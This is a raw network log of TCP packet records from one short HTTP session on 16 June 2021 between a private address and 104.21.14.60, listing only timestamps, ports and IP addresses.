Jun 16, 2021 12:04:54.911077976 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.911086082 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.911097050 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.911106110 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.911109924 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.911129951 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.911148071 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.911215067 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.911578894 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.911921024 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.911940098 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.911951065 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.911971092 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.911988020 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.912003040 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.912004948 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.912018061 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.912030935 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.912043095 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.912055969 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.912065029 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.912069082 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.912091017 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.912142038 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.912940025 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.912957907 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.912971020 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.912986994 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.913075924 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.913151979 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.913171053 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.913182974 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.913196087 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.913211107 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.913222075 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.913258076 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.913274050 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.913275003 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.913289070 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.913290977 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.913292885 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.913305044 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.913317919 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.913340092 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.913527012 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.914180040 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.914200068 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.914212942 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.914225101 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.914237022 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.914254904 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.914256096 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.914267063 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.914279938 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.914288044 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.914292097 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.914304018 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.914310932 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.914315939 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.914347887 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.914998055 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.915014982 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.915025949 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.915041924 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.915054083 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.915113926 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.915123940 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.915136099 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.915153027 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.915172100 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.915189981 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.915203094 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.915205956 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.915224075 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.915245056 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.915966034 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.915985107 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.915997028 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.916016102 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.916033983 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.916049957 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.916064978 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.916073084 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.916081905 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.916098118 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.916100025 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.916122913 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.916126013 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.916141987 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.916176081 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.916887045 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.916912079 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.916928053 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.916944027 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.916964054 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.916992903 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.929083109 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.930445910 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.947902918 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.947941065 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.947978973 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.948012114 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.948019981 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.948043108 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.948074102 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.948088884 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.948107004 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.948137999 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.948168039 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.948184013 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.948203087 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.948240042 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.948256016 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.948273897 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.948317051 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.948321104 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.948347092 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.948378086 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.948406935 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.948421001 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.948446035 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.948477983 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.948528051 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.948538065 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.948951960 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.949048996 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.949080944 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.949111938 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.949141979 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.949155092 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.949179888 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.949213028 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.949254990 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.949269056 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.949294090 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.949331999 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.949363947 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.949377060 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.949402094 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.950007915 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.950048923 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.950068951 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.950088978 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.950128078 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.950172901 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.950179100 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.950223923 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.950262070 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.950299978 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.950304985 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.950340033 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.950376034 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.950414896 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.950417995 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.950913906 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.950963974 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.951005936 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.951018095 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.951045990 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.951085091 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.951128960 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.951160908 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.951200962 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.951237917 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.951275110 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.951293945 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.951313019 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.951348066 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.951360941 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.951534986 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.951843977 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.951853991 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.951898098 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.951935053 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.951972008 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.951977968 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.952011108 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.952049971 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.952056885 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.952096939 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.952138901 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.952142000 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.952177048 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.952215910 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.952253103 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.952259064 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.952284098 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.952536106 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.952760935 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.952800989 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.952838898 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.952856064 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.952878952 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.952925920 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.952969074 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.952971935 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.953001022 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.953017950 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.953058004 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.953094959 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.953103065 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.953131914 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.953166008 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.953170061 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.953418970 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.953737020 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.953744888 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.953789949 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.953828096 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.953867912 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.953874111 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.953917027 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.953950882 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.953954935 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.953994036 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.954030991 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.954036951 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.954076052 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.954118967 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.954157114 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.954160929 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.954191923 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.954361916 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.954601049 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.954643965 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.954694033 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.954740047 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.954741001 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.954781055 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.954945087 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.954957008 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.954997063 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.955035925 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.955038071 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.955075026 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.955128908 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.955185890 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.955200911 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.955212116 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.955226898 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.955262899 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.955270052 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.955312967 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.955354929 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.955393076 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.955399990 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.955542088 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.955784082 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.955881119 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.955930948 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.955971956 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.955977917 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.956011057 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.956048965 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.956085920 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.956095934 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.956124067 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.956162930 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.956182957 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.956201077 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.956245899 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.956254959 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.956302881 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.956419945 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.956713915 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.956784964 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.956835032 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.956876993 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.956914902 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.956927061 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.956954002 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.956993103 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.957029104 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.957032919 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.957067013 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.957104921 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.957139969 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.957148075 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.957150936 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.957195044 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.957237005 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.957340002 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.957659960 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.957726955 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.957771063 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.957808018 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.957854033 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.957896948 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.957895041 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.957937002 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.957974911 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.957978010 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.957997084 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.958018064 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.958055973 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.958058119 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.958093882 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.958132029 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.958173037 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.958276033 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.958538055 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.958651066 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.958689928 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.958729029 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.958770037 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.958774090 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.958822012 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.958863974 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.958900928 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.958905935 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.958940029 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.958977938 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.959013939 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.959023952 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.959053040 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.959108114 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.959317923 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.959551096 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.959577084 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.959594965 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.959619999 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.959642887 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.959666967 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.959693909 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.959716082 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.959733963 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.959758997 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.959758997 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.959781885 CEST	80	49167	104.21.14.60	192.168.2.22
Jun 16, 2021 12:04:54.959784031 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.959836960 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.959882975 CEST	49167	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:04:54.960084915 CEST	49167	80	192.168.2.22	104.21.14.60
